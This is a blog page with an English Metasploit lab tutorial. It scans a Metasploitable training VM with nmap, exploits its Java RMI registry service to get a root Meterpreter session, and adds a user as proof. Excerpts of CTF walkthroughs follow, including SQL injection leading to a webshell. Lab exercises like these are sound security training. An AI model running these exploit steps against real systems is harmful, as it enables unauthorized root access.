Chuyển đến nội dung chính

Bài Thực Hành Metasploit Framework Lesson 5 : Exploiting the RMI Registration Server


Section 0. Background Information
  1. Metasploitable 
  2. Pre-Requisite Lab
    • Metasploitable  : Lesson 1: Downloading and Configuring
     
  3. What RMI?
    • The RMI protocol makes use of two other protocols for its on-the-wire format: Java Object Serialization and HTTP. The Object Serialization protocol is used to marshal call and return data. The HTTP protocol is used to "POST" a remote method invocation and obtain return data when circumstances warrant. Each protocol is documented as a separate grammar. Nonterminal symbols in production rules may refer to rules governed by another protocol (either Object Serialization or HTTP). When a protocol boundary is crossed, subsequent productions use that embedded protocol.
  4. Lab Notes
    • In this lab we will do the following:
      1. Run an intense NMAP Scan on the Metasploitable VM
      2. Search for the RMI Service
      3. Exploit the RMI Server and obtain root.
  5. Legal Disclaimer - Bài lab chỉ dùng cho môi trường học tập 

Section 1. Start Up the Metasploitable VM
  1. Start Up VMWare Player
    • Instructions:
      1. Click the Start Button
      2. Type Vmplayer in the search box
      3. Click on Vmplayer
  2. Open a Virtual Machine
    • Instructions:
      1. Click on Open a Virtual Machine
  3. Open the Metasploitable VM
    • Instructions:
      1. Navigate to where the Metasploitable VM is located
      2. Click on on the Metasploitable VM
      3. Click on the Open Button
  4. Edit the Metasploitable VM
    • Instructions:
      1. Select Metasploitable2-Linux VM
      2. Click Edit virtual machine settings
  5. Edit the Metasploitable VM
    • Instructions:
      1. Click on "Network Adapter NAT"
      2. Select the radio button "Bridged: Connected directly to the physical network"
      3. Click on the OK button
    • Warning:
      • By changing from NAT to Bridged opens the VM and network up to potential attacks.
      • To maintain a safe network, you could (1) skip this section and only use the host-only network, (2) unplug your router from the internet, (3) use an ACL to not allow traffic into your network, etc.
  6. Play the Metasploitable VM
    • Instructions:
      1. Click on the Metasploitable VM
      2. Click on Play virtual machine

Section 2. Determine Metasploitable IP Address
  1. Logging into Metasploitable
    • Instructions
      1. Username: msfadmin
      2. Password: msfadmin or whatever you changed it to in lesson 1.
  2. Change the msfadmin password
    • Instructions:
      1. ifconfig -a
    • Note(FYI):
      • This is the IP Address of the Victim Machine.
      • My IP Address is 192.168.1.106.
      • Record your IP Address.

Section 4. Start Up the BackTrack5R1 VM
  1. Start Up VMWare Player
    • Instructions:
      1. Click the Start Button
      2. Type Vmplayer in the search box
      3. Click on Vmplayer
  2. Open a Virtual Machine
    • Instructions:
      1. Click on Open a Virtual Machine
  3. Open the BackTrack5R1 VM
    • Instructions:
      1. Navigate to where the BackTrack5R1 VM is located
      2. Click on on the BackTrack5R1 VM
      3. Click on the Open Button
  4. Edit the BackTrack5R1 VM
    • Instructions:
      1. Select BackTrack5R1 VM
      2. Click Edit virtual machine settings
  5. Edit Virtual Machine Settings
    • Instructions:
      1. Click on Network Adapter
      2. Click on the Bridged Radio button
      3. Click on the OK Button
  6. Play the BackTrack5R1 VM
    • Instructions:
      1. Click on the BackTrack5R1 VM
      2. Click on Play virtual machine
  7. Login to BackTrack
    • Instructions:
      1. Login: root
      2. Password: toor or <whatever you changed it to>.
  8. Bring up the GNOME
    • Instructions:
      1. Type startx
  9. Start up a terminal window
    • Instructions:
      1. Click on the Terminal Window
  10. Obtain the IP Address
    • Instructions:
      1. ifconfig -a
    • Note(FYI):
      • My IP address 192.168.1.111
      • In your case, it will probably be different.
      • This is the machine that will be use to attack the victim machine (Metasploitable).

Section 5. Scanning the Victim with NMAP
  1. Run Intense NMAP Scan on the Metasploitable VM
    • Note(FYI):
      • Replace 192.168.1.106 with the Metasploitable IP Address obtained from (Section 2, Step 2).
      • This intense NMAP scan could take 3 to 5 minutes to run.
    • Instructions:
      1. nmap -p 1-65535 -T4 -A -v 192.168.1.106 2>&1 | tee /var/tmp/scan.txt
  2. Looking for rpcinfo, nfs and ssh
    • Instructions:
      1. cd /var/tmp
      2. grep -i rmi scan.txt
    • Note(FYI):
      • rmiregistry server runs on port 1099 on TCP.

Section 6. Exploit the RMI Registry Server
  1. Start the Metasploit Console
    • Instructions:
      1. msfconsole
  2. Use Java RMI Server Exploit
    • Instructions:
      1. search java_rmi
      2. use exploit/multi/misc/java_rmi_server
  3. Set RHOST (Victim IP Address)
    • Instructions:
      1. show options
      2. set RHOST 192.168.1.106
      • Note(FYI):
      • Replace 192.168.1.106 with the Metasploitable IP Address obtained from (Section 2, Step 2).
  4. Exploit
    • Instructions:
      1. exploit
      • Note(FYI):
      • Now you should see a Meterpreter session opened between BackTrack to Metasploitable.
  5. Help
    • Instructions:
      1. help
      • Note(FYI):
      • The help command will provide all the available options that can be used for this particular exploit.
  6. Got root?
    • Instructions:
      1. ifconfig
      2. getuid
      • Note(FYI):
      • Very kool, you should see that you now have root access.
Section 7. Proof of Lab
  1. Proof of Lab
    • Instructions:
      1. shell
      2. whoami
      3. useradd -m -d /home/student -c "Student Hacker" -s /bin/bash student
      4. grep student /etc/passwd
      5. date
      6. echo "Your Name"
        • Put in your actual name in place of "Your Name"
        • e.g., echo "John Gray"
    • Proof of Lab Instructions
      1. Press the <Ctrl> and <Alt> key at the same time.
      2. Press the <PrtScn> key.
      3. Paste into a word document
      4. Upload to website Www.AnToanThongTin.Edu.VN
Nhãn:

Bài đăng phổ biến từ blog này

Hack the Gibson VM (CTF Challenge)

It’s a boot2root challenge and it does not get over with getting root access. You have to find flag also. So let’s start. First of all download lab from https://download.vulnhub.com/gibson/gibson.ova Now open kali terminal and like always start with first step i.e. netdiscover netdiscover it shows all the hosts those are up in our network and from here we get our target ip. Target IP: 192.168.1.6 As our target is all set we are going to scan it with nmap which will show all the open ports. In this case open ports are only two i.e. 22 and 80. nmap –p- -A 192.168.1.6 As from the above result we have got 80 port open so we will open target ip in browser. It shows an accessible directory. Let’s try opening it as we cannot see anything important here. Oh no such luck with this also. It’s written the result will be found by brute force but there is no place where we can apply brute force. As we do not have any other option so let’s just go to view page source to see if we could get a...
Đọc thêm

Penetration Testing in PwnLab (CTF Challenge)

In this article we will walkthrough a root2boot penetration testing challenge i.e PwnLab. PwbLab is a vulnerbale framework, based on the concept of CTF (capture the flag), with a bit of security which is a little complicated to bypass. But it’s not impossible. So, let us learn how we can get its access. Download From Here Now to start let us, firstly, consider that we do not know the IP of the PwnLab, therefore search for the IP address before hand and for that there is a command that shows us all the IP’s present in our network, so go to the terminal of you Kali and type : netdiscover Target IP = 192.168.0.105 And to know that we start our penetration testing. So, first, we will now scan with nmap , we will apply an aggressive scan as it gives detailed information and is fast. The command is : nmap -A 192.168.0.105 We have the result of scanning and as you can see there are only three ports open and they are: 80, 111, 3306. Our target IP is 192.168.0.105 as its MAC Vendor is...
Đọc thêm

Hack the Pentester Lab: from SQL injection to Shell II (Blind SQL Injection)

Today we are going to perform penetration testing with part II of previous lab, download it from  here . Now install the iso image in VM ware and start it. In this lab task level is intermediate and challenge is to gain access of administration console and then upload a PHP webshell. Start Kali Linux then open the terminal and  type netdiscover  command for scanning network. Here  192.168.1.102  is my target IP which is shown in the screenshot. Now explore this IP in browser. When you will open target IP in browser you will get a web page having heading My Awesome Photoblog . On the top of left side it contains some tags: home; test; ruxcon; 2010; all pictures; admin. Now  Click  on  test . The given URL : http://192.168.1.102/cat.php?id=1  will run sql query for  ID 1  now let try to find out whether the above URL is vulnerable to sql injection or not by adding( ‘) apostrophe at last of URL: http://192.168.1.102/cat.p...
Đọc thêm